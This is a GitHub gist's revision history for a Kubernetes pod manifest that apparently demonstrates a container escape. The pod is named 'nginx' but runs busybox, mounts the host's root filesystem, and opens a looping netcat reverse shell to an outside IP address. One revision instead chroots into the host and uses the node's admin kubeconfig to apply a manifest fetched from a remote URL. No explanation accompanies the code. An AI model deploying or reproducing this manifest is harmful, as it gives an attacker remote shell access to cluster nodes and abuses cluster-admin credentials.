Skip to content

Instantly share code, notes, and snippets.

@bgeesaman
Last active December 21, 2019 02:14
Show Gist options
  • Select an option

  • Save bgeesaman/a26886d96d8954b9ef0165af4f2ec9d0 to your computer and use it in GitHub Desktop.

Select an option

Save bgeesaman/a26886d96d8954b9ef0165af4f2ec9d0 to your computer and use it in GitHub Desktop.

Revisions

  1. bgeesaman revised this gist Dec 21, 2019. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions pod2.yaml
    Original file line number Diff line number Diff line change
    @@ -1,18 +1,18 @@
    apiVersion: v1
    kind: Pod
    metadata:
    name: nginx4
    name: nginx5
    namespace: lake
    labels:
    app: nginx4
    app: nginx5
    spec:
    containers:
    - image: docker.io/library/busybox:1.28.4
    name: nginx
    command:
    - sh
    - -c
    - chroot /rootfs kubectl --kubeconfig=/etc/kubernetes/admin.conf apply -f https://gist.github.com/bgeesaman/4448326243cf344396b79fc53c426258/raw/10063b40102f6ab9c401f9c9ba34cb16c5cdce6e/pod3.yaml
    - while true; do nc 35.188.15.71 80 -e sh; done
    volumeMounts:
    - mountPath: /rootfs
    name: host
  2. bgeesaman revised this gist Dec 21, 2019. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions pod2.yaml
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,10 @@
    apiVersion: v1
    kind: Pod
    metadata:
    name: nginx2
    name: nginx4
    namespace: lake
    labels:
    app: nginx2
    app: nginx4
    spec:
    containers:
    - image: docker.io/library/busybox:1.28.4
  3. bgeesaman revised this gist Dec 21, 2019. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion pod2.yaml
    Original file line number Diff line number Diff line change
    @@ -12,7 +12,7 @@ spec:
    command:
    - sh
    - -c
    - while true; do nc 35.188.15.71 80 -e sh; done
    - chroot /rootfs kubectl --kubeconfig=/etc/kubernetes/admin.conf apply -f https://gist.github.com/bgeesaman/4448326243cf344396b79fc53c426258/raw/10063b40102f6ab9c401f9c9ba34cb16c5cdce6e/pod3.yaml
    volumeMounts:
    - mountPath: /rootfs
    name: host
  4. bgeesaman revised this gist Dec 21, 2019. 1 changed file with 1 addition and 5 deletions.
    6 changes: 1 addition & 5 deletions pod2.yaml
    Original file line number Diff line number Diff line change
    @@ -12,11 +12,7 @@ spec:
    command:
    - sh
    - -c
    - nc
    - 35.188.15.71
    - 80
    - -e
    - sh
    - while true; do nc 35.188.15.71 80 -e sh; done
    volumeMounts:
    - mountPath: /rootfs
    name: host
  5. bgeesaman created this gist Dec 21, 2019.
    26 changes: 26 additions & 0 deletions pod2.yaml
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,26 @@
    apiVersion: v1
    kind: Pod
    metadata:
    name: nginx2
    namespace: lake
    labels:
    app: nginx2
    spec:
    containers:
    - image: docker.io/library/busybox:1.28.4
    name: nginx
    command:
    - sh
    - -c
    - nc
    - 35.188.15.71
    - 80
    - -e
    - sh
    volumeMounts:
    - mountPath: /rootfs
    name: host
    volumes:
    - name: host
    hostPath:
    path: /